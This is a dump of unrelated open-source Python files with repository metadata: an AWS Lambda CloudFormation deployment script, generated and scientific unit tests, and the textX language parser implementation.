6fcc79c92392847eb5b63db8c0fafd745934c0ad
[ "MIT" ]
permissive
MacHu-GWU/Dev-Exp-Share
a25ec59f9402e56c3bd9d98269634894fa452537
0b659c62bf795374ea981953b25119ca30007e7d
refs/heads/master
2023-08-22T05:28:52.536090
2023-08-14T13:37:31
2023-08-14T13:37:31
84,245,070
3
1
MIT
2023-02-13T23:44:03
2017-03-07T20:53:18
Shell
UTF-8
Python
false
false
1,506
py
# -*- coding: utf-8 -*- import cottonformation as ctf from cottonformation.res import iam, awslambda # create a ``Template`` object to represent your cloudformation template tpl = ctf.Template( Description="Aws Lambda Versioning Example", ) iam_role_for_lambda = iam.Role( "IamRoleForLambdaExecution", rp_AssumeRolePolicyDocument=ctf.helpers.iam.AssumeRolePolicyBuilder( ctf.helpers.iam.ServicePrincipal.awslambda() ).build(), p_RoleName="lbd-versioning-poc", p_ManagedPolicyArns=[ ctf.helpers.iam.AwsManagedPolicy.AmazonDynamoDBFullAccess, ] ) tpl.add(iam_role_for_lambda) lbd_func = awslambda.Function( "LbdFuncVersioningPOC", rp_Code=awslambda.PropFunctionCode( p_S3Bucket="sanhe-admin-for-everything", p_S3Key="lambda/MacHu-GWU/lbd-versioning/066212d310fb9d829154d197be860d0f.zip", ), rp_Role=iam_role_for_lambda.rv_Arn, p_FunctionName="lbd-versioning-poc", p_MemorySize=256, p_Timeout=3, p_Runtime=ctf.helpers.awslambda.LambdaRuntime.python36, p_Handler="lbd_handler.main", ra_DependsOn=iam_role_for_lambda, p_Tags=ctf.Tag.make_many(Stage="Dev", Description="Changed"), ) tpl.add(lbd_func) if __name__ == "__main__": import boto3 boto_ses = boto3.session.Session(profile_name="sanhe") env = ctf.Env(boto_ses=boto_ses) env.deploy( template=tpl, stack_name="lbd-versioning-poc", bucket_name="sanhe-admin-for-everything", include_iam=True, )
8dc71aea2ba393c0ade6f74745aa59a5ff234fbd
dfb6a80dda5882a1c2be87b0b6e1e7a87a7b4c20
/test/test_device_envelope.py
76ff297fcd55e94dd43e1c4cc67b595f7f80911b
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
artikcloud/artikcloud-python
a090201bea9fadbdf5dd57d94d9085b03b34f927
c5489b2fca27fd9a8bcea99f309e02cb690dd349
refs/heads/master
2020-12-26T03:33:00.657575
2017-12-28T20:40:05
2017-12-28T20:40:05
55,102,598
13
11
null
2017-03-18T03:22:58
2016-03-30T22:38:07
Python
UTF-8
Python
false
false
825
py
# coding: utf-8 """ ARTIK Cloud API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 2.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys import unittest import artikcloud from artikcloud.rest import ApiException from artikcloud.models.device_envelope import DeviceEnvelope class TestDeviceEnvelope(unittest.TestCase): """ DeviceEnvelope unit test stubs """ def setUp(self): pass def tearDown(self): pass def testDeviceEnvelope(self): """ Test DeviceEnvelope """ model = artikcloud.models.device_envelope.DeviceEnvelope() if __name__ == '__main__': unittest.main()
9e450a671d7311598350b4aee29fc2b0f66d6326
9b3e29a4e83b59e0eb0b0fb17a93dc01151e30f6
/rcsb/utils/tests-ccdc/testCcdcSearch.py
e5f5735c16a6b42bdb6912940d760db64c9f791c
[ "Apache-2.0" ]
permissive
rcsb/py-rcsb_utils_ccdc
0fd5ccc9a2d5ae8ccd56d855d042c5d4b4faa717
7baba6f79693e239a5d840d27ea6f06b3e6fb070
refs/heads/master
2023-06-23T16:40:27.396078
2023-06-19T14:08:25
2023-06-19T14:08:25
321,128,445
0
0
null
null
null
null
UTF-8
Python
false
false
4,553
py
## # # File: testCcdcSearch.py # Author: J. Westbrook # Date: 13-Dec-2020 # Version: 0.001 # # Updated: # ## """ Test cases for chemical component search against the CCDC local Python API - """ __docformat__ = "restructuredtext en" __author__ = "John Westbrook" __email__ = "[email protected]" __license__ = "Apache 2.0" import glob import logging import unittest import time import os import os.path import platform import resource from rcsb.utils.ccdc.CcdcSearch import CcdcSearch from rcsb.utils.ccdc import __version__ HERE = os.path.abspath(os.path.dirname(__file__)) TOPDIR = os.path.dirname(os.path.dirname(os.path.dirname(HERE))) logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s]-%(module)s.%(funcName)s: %(message)s") logger = logging.getLogger() logger.setLevel(logging.INFO) class CcdcSearchTests(unittest.TestCase): def setUp(self): self.__verbose = True self.__debug = True self.__workPath = os.path.join(HERE, "test-output") self.__dataPath = os.path.join(HERE, "test-data") # Path to a set of test mol2 files ... self.__molFilePath = os.path.join(self.__dataPath, "molfiles") # Test output paths self.__simResultPath = os.path.join(self.__workPath, "ccdc_sim") self.__ssResultPath = os.path.join(self.__workPath, "ccdc_ss_mol") self.__smartsResultPath = os.path.join(self.__workPath, "ccdc_ss_smarts") # self.__smartsList = [("000", "COC(=O)O")] self.__startTime = time.time() logger.info("Starting %s (%s) at %s", self.id(), __version__, time.strftime("%Y %m %d %H:%M:%S", time.localtime())) def tearDown(self): unitS = "MB" if platform.system() == "Darwin" else "GB" rusageMax = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss logger.info("Maximum resident memory size %.4f %s", rusageMax / 10 ** 6, unitS) endTime = time.time() logger.info("Completed %s at %s (%.4f seconds)", self.id(), time.strftime("%Y %m %d %H:%M:%S", time.localtime()), endTime - self.__startTime) def testSmartsSearch(self): """Test case: CCDC SMARTS substructure""" try: # for queryTargetId, smarts in self.__smartsList: logger.info("search for %r", queryTargetId) resultPath = self.__smartsResultPath vS = CcdcSearch(verbose=self.__verbose) vS.searchSmarts(queryTargetId, smarts, resultPath) except Exception as e: logger.exception("Failing with %s", str(e)) self.fail() def testSimilaritySearch(self): """Test case: CCDC similarity search""" try: pL = glob.glob(os.path.join(self.__molFilePath, "*.mol2")) logger.info("search list length %d", len(pL)) # for queryTargetPath in pL: _, fn = os.path.split(queryTargetPath) queryTargetId, _ = os.path.splitext(fn) logger.info("search for %r", queryTargetId) resultPath = self.__simResultPath vS = CcdcSearch(verbose=self.__verbose) vS.search(queryTargetId, queryTargetPath, resultPath, searchType="similarity") except Exception as e: logger.exception("Failing with %s", str(e)) self.fail() def testSubStructureSearch(self): """Test case: CCDC substructure search""" try: pL = glob.glob(os.path.join(self.__molFilePath, "*.mol2")) logger.info("search list length %d", len(pL)) # for queryTargetPath in pL: _, fn = os.path.split(queryTargetPath) queryTargetId, _ = os.path.splitext(fn) logger.info("search for %r", queryTargetId) resultPath = self.__ssResultPath vS = CcdcSearch(verbose=self.__verbose) vS.search(queryTargetId, queryTargetPath, resultPath, searchType="substructure") except Exception as e: logger.exception("Failing with %s", str(e)) self.fail() def suiteSearchTests(): suiteSelect = unittest.TestSuite() suiteSelect.addTest(CcdcSearchTests("testSimilaritySearch")) suiteSelect.addTest(CcdcSearchTests("testSubStructureSearch")) suiteSelect.addTest(CcdcSearchTests("testSmartsSearch")) return suiteSelect if __name__ == "__main__": # mySuite = suiteSearchTests() unittest.TextTestRunner(verbosity=2).run(mySuite)
bae371606a84b417b053178411397de508c245e7
d2d0c6c1acde115c4d2058259a9965af0d050363
/textx/textx.py
439c8781b9769cf9fdc623fd62ada14350963d7f
[ "MIT" ]
permissive
Vinayakatk/textX
7dd9bdd9c8e13b1f65a1a7881546c83d25d501ca
13572dcd693e6383be5b91ebd406eec486457736
refs/heads/master
2021-07-07T17:17:37.187470
2017-10-03T18:18:16
2017-10-03T18:18:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
35,061
py
####################################################################### # Name: textx.py # Purpose: Implementation of textX language in Arpeggio. # Author: Igor R. Dejanovic <igor DOT dejanovic AT gmail DOT com> # Copyright: (c) 2014-2016 Igor R. Dejanovic <igor DOT dejanovic AT gmail DOT com> # License: MIT License # # The idea for this language is shamelessly stolen from the Xtext language # but there are some differences in both syntax and semantics. # To make things clear I have named this language textX ;) ####################################################################### from __future__ import unicode_literals import re from arpeggio import StrMatch, Optional, ZeroOrMore, OneOrMore, Sequence,\ OrderedChoice, UnorderedGroup, Not, And, RegExMatch, Match, NoMatch, EOF, \ ParsingExpression, ParserPython, PTNodeVisitor, visit_parse_tree from arpeggio.export import PMDOTExporter from arpeggio import RegExMatch as _ from .exceptions import TextXSyntaxError, TextXSemanticError from .const import MULT_ONE, MULT_ZEROORMORE, MULT_ONEORMORE, \ MULT_OPTIONAL, RULE_COMMON, RULE_MATCH, RULE_ABSTRACT, mult_lt import sys if sys.version < '3': text = unicode # noqa else: text = str # textX grammar def textx_model(): return ZeroOrMore(import_stm), ZeroOrMore(textx_rule), EOF def import_stm(): return 'import', grammar_to_import def grammar_to_import(): return _(r'(\w|\.)+') # Rules def textx_rule(): return rule_name, Optional(rule_params), ":", textx_rule_body, ";" def rule_params(): return '[', rule_param, ZeroOrMore(',', rule_param), ']' def rule_param(): return param_name, Optional('=', string_value) def param_name(): return ident def textx_rule_body(): return choice def choice(): return sequence, ZeroOrMore("|", sequence) def sequence(): return OneOrMore(repeatable_expr) def repeatable_expr(): return expression, Optional(repeat_operator), Optional('-') def expression(): return [assignment, (Optional(syntactic_predicate), [simple_match, rule_ref, bracketed_choice])] def bracketed_choice(): return '(', choice, ')' def repeat_operator(): return ['*', '?', '+', '#'], Optional(repeat_modifiers) def repeat_modifiers(): return '[', OneOrMore([simple_match, 'eolterm']), ']' def syntactic_predicate(): return ['!', '&'] def simple_match(): return [str_match, re_match] # Assignment def assignment(): return attribute, assignment_op, assignment_rhs def attribute(): return ident def assignment_op(): return ["=", "*=", "+=", "?="] def assignment_rhs(): return [simple_match, reference], Optional(repeat_modifiers) # References def reference(): return [rule_ref, obj_ref] def rule_ref(): return ident def obj_ref(): return '[', class_name, Optional('|', obj_ref_rule), ']' def rule_name(): return ident def obj_ref_rule(): return ident def class_name(): return ident def str_match(): return [("'", _(r"((\\')|[^'])*"),"'"),\ ('"', _(r'((\\")|[^"])*'),'"')] def re_match(): return "/", _(r"((\\/)|[^/])*"), "/" def ident(): return _(r'\w+') def integer(): return _(r'[-+]?[0-9]+') def string_value(): return [_(r"'((\\')|[^'])*'"), _(r'"((\\")|[^"])*"')] # Comments def comment(): return [comment_line, comment_block] def comment_line(): return _(r'//.*?$') def comment_block(): return _(r'/\*(.|\n)*?\*/') # Special rules - primitive types ID = _(r'[^\d\W]\w*\b', rule_name='ID', root=True) BOOL = _(r'(True|true|False|false|0|1)\b', rule_name='BOOL', root=True) INT = _(r'[-+]?[0-9]+\b', rule_name='INT', root=True) FLOAT = _(r'[-+]?[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?\b', 'FLOAT', root=True) STRING = _(r'("(\\"|[^"])*")|(\'(\\\'|[^\'])*\')', 'STRING', root=True) NUMBER = OrderedChoice(nodes=[FLOAT, INT], rule_name='NUMBER', root=True) BASETYPE = OrderedChoice(nodes=[NUMBER, BOOL, ID, STRING], rule_name='BASETYPE', root=True) # A dummy rule for generic type. This rule should never be used for parsing. OBJECT = _(r'', rule_name='OBJECT', root=True) BASE_TYPE_RULES = {rule.rule_name: rule for rule in [ID, BOOL, INT, FLOAT, STRING, NUMBER, BASETYPE]} BASE_TYPE_NAMES = list(BASE_TYPE_RULES.keys()) ALL_TYPE_NAMES = BASE_TYPE_NAMES + ['OBJECT'] PRIMITIVE_PYTHON_TYPES = [int, float, text, bool] for regex in [ID, BOOL, INT, FLOAT, STRING]: regex.compile() def python_type(textx_type_name): """Return Python type from the name of base textx type.""" return { 'ID': text, 'BOOL': bool, 'INT': int, 'FLOAT': float, 'STRING': text, 'NUMBER': float, 'BASETYPE': text, }.get(textx_type_name, textx_type_name) class RuleCrossRef(object): """ Used during meta-model parser construction for cross reference resolving of PEG rules, to support forward references. Attributes: rule_name(str): A name of the PEG rule that should be used to match this cross-ref. For link rule references it will be ID by default. cls(str or ClassCrossRef): Target class which is matched by the rule_name rule or which name is matched by the rule_name rule (for link rule references). Used for rule references in the RHS of the assignments to determine attribute type. position(int): A position in the input string of this cross-ref. """ def __init__(self, rule_name, cls, position): self.rule_name = rule_name self.cls = cls self.position = position self.suppress = False def __str__(self): return self.rule_name def __unicode__(self): return self.__str__() class ClassCrossRef(object): """ Used for class reference resolving on the meta-model level. References will be resolved after semantic analysis of the meta-model parse tree. After resolving phase the meta-model will be fully linked. Attributes: cls_name(str): A name of the target meta-model class. position(int): The position in the input string of this cross-ref. """ def __init__(self, cls_name, position=0): self.cls_name = cls_name self.position = position class TextXVisitor(PTNodeVisitor): def __init__(self, grammar_parser, metamodel): self.grammar_parser = grammar_parser self.metamodel = metamodel self.debug = metamodel.debug # Prepare regex used in keyword-like strmatch detection. # See visit_str_match flags = 0 if metamodel.ignore_case: flags = re.IGNORECASE self.keyword_regex = re.compile(r'[^\d\W]\w*', flags) super(TextXVisitor, self).__init__() def visit_textx_model(self, node, children): if 'Comment' in self.metamodel: comments_model = self.metamodel['Comment']._tx_peg_rule else: comments_model = None root_rule = children[0] from .model import get_model_parser model_parser = get_model_parser(root_rule, comments_model, ignore_case=self.metamodel.ignore_case, skipws=self.metamodel.skipws, ws=self.metamodel.ws, autokwd=self.metamodel.autokwd, memoization=self.metamodel.memoization, debug=self.metamodel.debug) model_parser.metamodel = self.metamodel return model_parser def second_textx_model(self, model_parser): """Cross reference resolving for parser model.""" if self.grammar_parser.debug: self.grammar_parser.dprint("RESOLVING MODEL PARSER: second_pass") self._resolve_rule_refs(self.grammar_parser, model_parser) self._determine_rule_types(model_parser.metamodel) self._resolve_cls_refs(self.grammar_parser, model_parser) return model_parser def _resolve_rule_refs(self, grammar_parser, model_parser): """Resolves parser ParsingExpression crossrefs.""" def _resolve_rule(rule): """ Recursively resolve peg rule references. Args: rule(ParsingExpression or RuleCrossRef) """ if not isinstance(rule, RuleCrossRef) and rule in resolved_rules: return rule resolved_rules.add(rule) if grammar_parser.debug: grammar_parser.dprint("Resolving rule: {}".format(rule)) if type(rule) is RuleCrossRef: rule_name = rule.rule_name suppress = rule.suppress if rule_name in model_parser.metamodel: rule = model_parser.metamodel[rule_name]._tx_peg_rule if type(rule) is RuleCrossRef: rule = _resolve_rule(rule) model_parser.metamodel[rule_name]._tx_peg_rule = rule if suppress: # Special case. Suppression on rule reference. _tx_class = rule._tx_class rule = Sequence(nodes=[rule], rule_name=rule_name, suppress=suppress) rule._tx_class = _tx_class else: line, col = grammar_parser.pos_to_linecol(rule.position) raise TextXSemanticError( 'Unexisting rule "{}" at position {}.' .format(rule.rule_name, (line, col)), line, col) assert isinstance(rule, ParsingExpression),\ "{}:{}".format(type(rule), text(rule)) # Recurse into subrules, and resolve rules. for idx, child in enumerate(rule.nodes): if child not in resolved_rules: child = _resolve_rule(child) rule.nodes[idx] = child return rule # Two pass resolving for i in range(2): if grammar_parser.debug: grammar_parser.dprint("RESOLVING RULE CROSS-REFS - PASS {}" .format(i + 1)) resolved_rules = set() _resolve_rule(model_parser.parser_model) # Resolve rules of all meta-classes to handle unreferenced # rules also. for cls in model_parser.metamodel: cls._tx_peg_rule = _resolve_rule(cls._tx_peg_rule) def _determine_rule_types(self, metamodel): """Determine textX rule/metaclass types""" def _determine_rule_type(cls): """ Determine rule type (abstract, match, common) and inherited classes. """ if cls in resolved_classes: return resolved_classes.add(cls) # If there are attributes collected than this is a common # rule if len(cls._tx_attrs) > 0: cls._tx_type = RULE_COMMON return rule = cls._tx_peg_rule # Check if this rule is abstract # Abstract are root rules which haven't got any attributes # and reference at least one non-match rule. abstract = False if rule.rule_name and cls.__name__ != rule.rule_name: # Special case. Body of the rule is a single rule # reference and the referenced rule is not match rule. target_cls = metamodel[rule.rule_name] _determine_rule_type(target_cls) abstract = target_cls._tx_type != RULE_MATCH else: # Find at leat one referenced rule that is not match # rule by going down the parser # model and finding root rules. def _has_nonmatch_ref(rule): for r in rule.nodes: if r.root: _determine_rule_type(r._tx_class) result = r._tx_class._tx_type != RULE_MATCH else: result = _has_nonmatch_ref(r) if result: return True abstract = _has_nonmatch_ref(rule) if abstract: cls._tx_type = RULE_ABSTRACT # Add inherited classes to this rule's meta-class if rule.rule_name and cls.__name__ != rule.rule_name: if rule._tx_class not in cls._tx_inh_by: cls._tx_inh_by.append(rule._tx_class) else: # Recursivelly append all referenced classes. def _add_reffered_classes(rule, inh_by): for r in rule.nodes: if r.root: if hasattr(r, '_tx_class'): _determine_rule_type(r._tx_class) if r._tx_class._tx_type != RULE_MATCH and\ r._tx_class not in inh_by: inh_by.append(r._tx_class) else: _add_reffered_classes(r, inh_by) _add_reffered_classes(rule, cls._tx_inh_by) resolved_classes = set() for cls in metamodel: _determine_rule_type(cls) def _resolve_cls_refs(self, grammar_parser, model_parser): resolved_classes = {} def _resolve_cls(cls): if cls in resolved_classes: return resolved_classes[cls] metamodel = model_parser.metamodel to_resolve = cls if isinstance(cls, ClassCrossRef): if cls.cls_name not in metamodel: line, col = grammar_parser.pos_to_linecol(cls.position) raise TextXSemanticError( 'Unknown class/rule "{}" at {}.' .format(cls.cls_name, (line, col)), line, col) cls = metamodel[cls.cls_name] resolved_classes[to_resolve] = cls if cls._tx_type == RULE_ABSTRACT: # Resolve inherited classes for idx, inh in enumerate(cls._tx_inh_by): inh = _resolve_cls(inh) cls._tx_inh_by[idx] = inh else: # If this is not abstract class than it must be common or # match. Resolve referred classes. for attr in cls._tx_attrs.values(): attr.cls = _resolve_cls(attr.cls) # If target cls is of a base type or match rule # then attr can not be a reference. if attr.cls.__name__ in BASE_TYPE_NAMES \ or attr.cls._tx_type == RULE_MATCH: attr.ref = False attr.cont = True else: attr.ref = True if grammar_parser.debug: grammar_parser.dprint( "Resolved attribute {}:{}[cls={}, cont={}, " "ref={}, mult={}, pos={}]" .format(cls.__name__, attr.name, attr.cls.__name__, attr.cont, attr.ref, attr.mult, attr.position)) return cls if grammar_parser.debug: grammar_parser.dprint("RESOLVING METACLASS REFS") for cls in model_parser.metamodel: _resolve_cls(cls) def visit_import_stm(self, node, children): self.metamodel._new_import(children[0]) def visit_grammar_to_import(self, node, children): return text(node) def visit_textx_rule(self, node, children): if len(children) > 2: rule_name, rule_params, rule = children else: rule_name, rule = children rule_params = {} if rule.rule_name.startswith('__asgn') or\ ((isinstance(rule, Match) or isinstance(rule, RuleCrossRef)) and rule_params): # If it is assignment node it must be kept because it could be # e.g. single assignment in the rule. # Also, handle a special case where rule consists only of a single # match or single rule reference and there are rule modifiers # defined. rule = Sequence(nodes=[rule], rule_name=rule_name, root=True, **rule_params) else: if not isinstance(rule, RuleCrossRef): # Promote rule node to root node. rule.rule_name = rule_name rule.root = True for param in rule_params: setattr(rule, param, rule_params[param]) # Connect meta-class and the PEG rule cls = self.metamodel[rule_name] cls._tx_peg_rule = rule rule._tx_class = cls # Update end position for this rule. cls._tx_position_end = node.position_end # Update multiplicities of attributes based on their parent # expressions. def _update_attr_multiplicities(rule, oc_branch_set, mult=MULT_ONE): if isinstance(rule, RuleCrossRef): return if isinstance(rule, OrderedChoice): for on in rule.nodes: oc_branch_set = set() _update_attr_multiplicities(on, oc_branch_set, mult) else: for n in [x for x in rule.nodes if not isinstance(x, RuleCrossRef)]: m = mult if isinstance(n, OneOrMore): m = MULT_ONEORMORE elif isinstance(n, ZeroOrMore): if m != MULT_ONEORMORE: m = MULT_ZEROORMORE if n.rule_name.startswith('__asgn'): cls_attr = cls._tx_attrs[n._attr_name] if mult in [MULT_ZEROORMORE, MULT_ONEORMORE]: if mult_lt(cls_attr.mult, m): cls_attr.mult = m # If multiplicity is not "many" still we can have # "many" multiplicity if same attribute has been # assigned multiple times in the same OrderedChoice # branch. elif n._attr_name in oc_branch_set: cls_attr.mult = MULT_ONEORMORE else: # Keep track of assignments in the current OC # branch. oc_branch_set.add(n._attr_name) elif not n.root: _update_attr_multiplicities(n, oc_branch_set, m) _update_attr_multiplicities(rule, set()) return rule def visit_rule_name(self, node, children): rule_name = str(node) if self.debug: self.dprint("Creating class: {}".format(rule_name)) # If a class is given by the user use it. Else, create new class. if rule_name in self.metamodel.user_classes: cls = self.metamodel.user_classes[rule_name] # Initialize special attributes self.metamodel._init_class(cls, None, node.position) else: # Create class to collect attributes. At this time PEG rule # is not known. cls = self.metamodel._new_class(rule_name, None, node.position) self._current_cls = cls # First class will be the root of the meta-model if not self.metamodel.rootcls: self.metamodel.rootcls = cls return rule_name def visit_rule_params(self, node, children): params = {} for name, value in children[0].items(): if name not in ['skipws', 'ws']: raise TextXSyntaxError( 'Invalid rule param "{}" at {}.' .format(name, self.grammar_parser.pos_to_linecol(node.position))) if name == 'ws' and '\\' in value: new_value = "" if "\\n" in value: new_value += "\n" if "\\r" in value: new_value += "\r" if "\\t" in value: new_value += "\t" if " " in value: new_value += " " value = new_value params[name] = value return params def visit_rule_param(self, node, children): if len(children) > 1: param_name, param_value = children else: param_name = children[0] param_value = True if param_name.startswith('no'): param_name = param_name[2:] param_value = False if self.debug: self.dprint("TextX rule param: {}, {}".format(param_name, param_value)) return {param_name: param_value} def visit_rule_ref(self, node, children): rule_name = text(node) # Here a name of the meta-class (rule) is expected but to support # forward referencing we are postponing resolving to second_pass. return RuleCrossRef(rule_name, rule_name, node.position) def visit_textx_rule_body(self, node, children): if len(children) == 1: return children[0] return OrderedChoice(nodes=children[:]) def visit_sequence(self, node, children): if len(children) == 1: return children[0] return Sequence(nodes=children[:]) def visit_choice(self, node, children): # If there is only one child reduce as # this ordered choice is unnecessary if len(children) == 1: return children[0] return OrderedChoice(nodes=children[:]) def visit_expression(self, node, children): if len(children) == 1: return children[0] if children[0] == '!': return Not(nodes=[children[1]]) else: return And(nodes=[children[1]]) def visit_repeat_modifiers(self, node, children): modifiers = {} for modifier in children: if isinstance(modifier, Match): # Separator modifier.rule_name = 'sep' modifiers['sep'] = modifier elif type(modifier) == tuple: modifiers['multiplicity'] = modifier else: modifiers['eolterm'] = True return (modifiers, node.position) def visit_repeat_operator(self, node, children): return children def visit_repeatable_expr(self, node, children): expr = children[0] rule = expr repeat_op = False suppress = False if len(children) > 1: # We can have repeat operator and/or suppression operator if len(children) > 2: repeat_op = children[1] suppress = True else: if children[1] == '-': suppress = True else: repeat_op = children[1] if repeat_op: if len(repeat_op) > 1: repeat_op, modifiers = repeat_op else: repeat_op = repeat_op[0] modifiers = None if repeat_op == '?': rule = Optional(nodes=[expr]) elif repeat_op == '*': rule = ZeroOrMore(nodes=[expr]) elif repeat_op == '+': rule = OneOrMore(nodes=[expr]) else: rule = UnorderedGroup(nodes=expr.nodes) if modifiers: modifiers, position = modifiers # Sanity check. Modifiers do not make # sense for ? operator at the moment. if repeat_op == '?': line, col = \ self.grammar_parser.pos_to_linecol(position) raise TextXSyntaxError( 'Modifiers are not allowed for "?" operator at {}' .format(text((line, col))), line, col) # Separator modifier rule.sep = modifiers.get('sep', None) # End of line termination modifier if 'eolterm' in modifiers: rule.eolterm = True # Mark rule for suppression rule.suppress = suppress return rule def visit_assignment_rhs(self, node, children): rule = children[0] modifiers = None if len(children) > 1: modifiers = children[1] # At this level we do not know the type of assignment (=, +=, *=) # and we do not have access to the PEG rule so postpone # rule modification for assignment semantic action. return (rule, modifiers) def visit_assignment(self, node, children): """ Create parser rule for assignments and register attribute types on metaclass. """ attr_name = children[0] op = children[1] rhs_rule, modifiers = children[2] cls = self._current_cls target_cls = None if self.debug: self.dprint("Processing assignment {}{}..." .format(attr_name, op)) if self.debug: self.dprint("Creating attribute {}:{}".format(cls.__name__, attr_name)) self.dprint("Assignment operation = {}".format(op)) if attr_name in cls._tx_attrs: # If attribute already exists in the metamodel it is # multiple assignment to the same attribute. # Cannot use operator ?= on multiple assignments if op == '?=': line, col = self.grammar_parser.pos_to_linecol(node.position) raise TextXSemanticError( 'Cannot use "?=" operator on multiple' ' assignments for attribute "{}" at {}' .format(attr_name, (line, col)), line, col) cls_attr = cls._tx_attrs[attr_name] else: cls_attr = self.metamodel._new_cls_attr(cls, name=attr_name, position=node.position) # Keep track of metaclass references and containments if type(rhs_rule) is tuple and rhs_rule[0] == "obj_ref": cls_attr.cont = False cls_attr.ref = True # Override rhs by its PEG rule for further processing rhs_rule = rhs_rule[1] # Target class is not the same as target rule target_cls = rhs_rule.cls base_rule_name = rhs_rule.rule_name if op == '+=': assignment_rule = OneOrMore( nodes=[rhs_rule], rule_name='__asgn_oneormore', root=True) cls_attr.mult = MULT_ONEORMORE elif op == '*=': assignment_rule = ZeroOrMore( nodes=[rhs_rule], rule_name='__asgn_zeroormore', root=True) if cls_attr.mult is not MULT_ONEORMORE: cls_attr.mult = MULT_ZEROORMORE elif op == '?=': assignment_rule = Optional( nodes=[rhs_rule], rule_name='__asgn_optional', root=True) cls_attr.mult = MULT_OPTIONAL base_rule_name = 'BOOL' # ?= assigment should have default value of False. # so we shall mark it as such. cls_attr.bool_assignment = True else: assignment_rule = Sequence( nodes=[rhs_rule], rule_name='__asgn_plain', root=True) # Modifiers if modifiers: modifiers, position = modifiers # Sanity check. Modifiers do not make # sense for ?= and = operator at the moment. if op == '?=' or op == '=': line, col = self.grammar_parser.pos_to_linecol(position) raise TextXSyntaxError( 'Modifiers are not allowed for "{}" operator at {}' .format(op, text((line, col))), line, col) # Separator modifier assignment_rule.sep = modifiers.get('sep', None) # End of line termination modifier if 'eolterm' in modifiers: assignment_rule.eolterm = True if target_cls: attr_type = target_cls else: # Use STRING as default attr class attr_type = base_rule_name if base_rule_name else 'STRING' if not cls_attr.cls: cls_attr.cls = ClassCrossRef(cls_name=attr_type, position=node.position) else: # cls cross ref might already be set in case of multiple assignment # to the same attribute. If types are not the same we shall use # OBJECT as generic type. if cls_attr.cls.cls_name != attr_type: cls_attr.cls.cls_name = 'OBJECT' if self.debug: self.dprint("Created attribute {}:{}[cls={}, cont={}, " "ref={}, mult={}, pos={}]" .format(cls.__name__, attr_name, cls_attr.cls.cls_name, cls_attr.cont, cls_attr.ref, cls_attr.mult, cls_attr.position)) assignment_rule._attr_name = attr_name assignment_rule._exp_str = attr_name # For nice error reporting return assignment_rule def visit_str_match(self, node, children): try: to_match = children[0] except: to_match = '' # Support for autokwd metamodel param. if self.metamodel.autokwd: match = self.keyword_regex.match(to_match) if match and match.span() == (0, len(to_match)): regex_match = RegExMatch( r'{}\b'.format(to_match), ignore_case=self.metamodel.ignore_case, str_repr=to_match) regex_match.compile() return regex_match return StrMatch(to_match, ignore_case=self.metamodel.ignore_case) def visit_re_match(self, node, children): try: to_match = children[0] except: to_match = '' regex = RegExMatch(to_match, ignore_case=self.metamodel.ignore_case) try: regex.compile() except Exception as e: line, col = self.grammar_parser.pos_to_linecol(node[1].position) raise TextXSyntaxError( "{} at {}" .format(text(e), text((line, col))), line, col) return regex def visit_obj_ref(self, node, children): # A reference to some other class instance will be the value of # its "name" attribute. class_name = children[0] if class_name in BASE_TYPE_NAMES: line, col = self.grammar_parser.pos_to_linecol(node.position) raise TextXSemanticError( 'Primitive type instances can not be referenced at {}.' .format((line, col)), line, col) if len(children) > 1: rule_name = children[1] else: # Default rule for matching obj cross-refs rule_name = 'ID' return ("obj_ref", RuleCrossRef(rule_name, class_name, node.position)) def visit_integer(self, node, children): return int(node.value) def visit_string_value(self, node, children): return node.value.strip("\"'") def bracketed_choice(self, node, children): return children[0] # parser object cache. To speed up parser initialization (e.g. during imports) textX_parsers = {} def language_from_str(language_def, metamodel): """ Constructs parser and initializes metamodel from language description given in textX language. Args: language_def (str): A language description in textX. metamodel (TextXMetaModel): A metamodel to initialize. Returns: Parser for the new language. """ if metamodel.debug: metamodel.dprint("*** PARSING LANGUAGE DEFINITION ***") # Check the cache for already conctructed textX parser if metamodel.debug in textX_parsers: parser = textX_parsers[metamodel.debug] else: # Create parser for TextX grammars using # the arpeggio grammar specified in this module parser = ParserPython(textx_model, comment_def=comment, ignore_case=False, reduce_tree=False, memoization=metamodel.memoization, debug=metamodel.debug) # Cache it for subsequent calls textX_parsers[metamodel.debug] = parser # Parse language description with textX parser try: parse_tree = parser.parse(language_def) except NoMatch as e: line, col = parser.pos_to_linecol(e.position) raise TextXSyntaxError(text(e), line, col) # Construct new parser and meta-model based on the given language # description. lang_parser = visit_parse_tree(parse_tree, TextXVisitor(parser, metamodel)) # Meta-model is constructed. Validate its semantics. metamodel.validate() # Here we connect meta-model and language parser for convenience. lang_parser.metamodel = metamodel metamodel.parser = lang_parser if metamodel.debug: # Create dot file for debuging purposes PMDOTExporter().exportFile( lang_parser.parser_model, "{}_parser_model.dot".format(metamodel.rootcls.__name__)) return lang_parser
f9dad584be247cc14c812be48d6df595dbb1d4a2
4a6fc126c59de4b18c2cbe23872c4ddef2512c6b
/telegram_bot.py
bd0412760ac508d115e6d2e1d1107490c7df89a4
[ "MIT" ]
permissive
cccaaannn/telegram_predictor
ac4f1c9500f087c5ac90526663315b81f4f04e82
a939954e386e1218afcd1c6a705cc617898023b5
refs/heads/master
2023-02-20T20:46:13.055986
2021-01-26T22:52:12
2021-01-26T22:52:12
330,818,809
0
0
null
null
null
null
UTF-8
Python
false
false
4,649
py
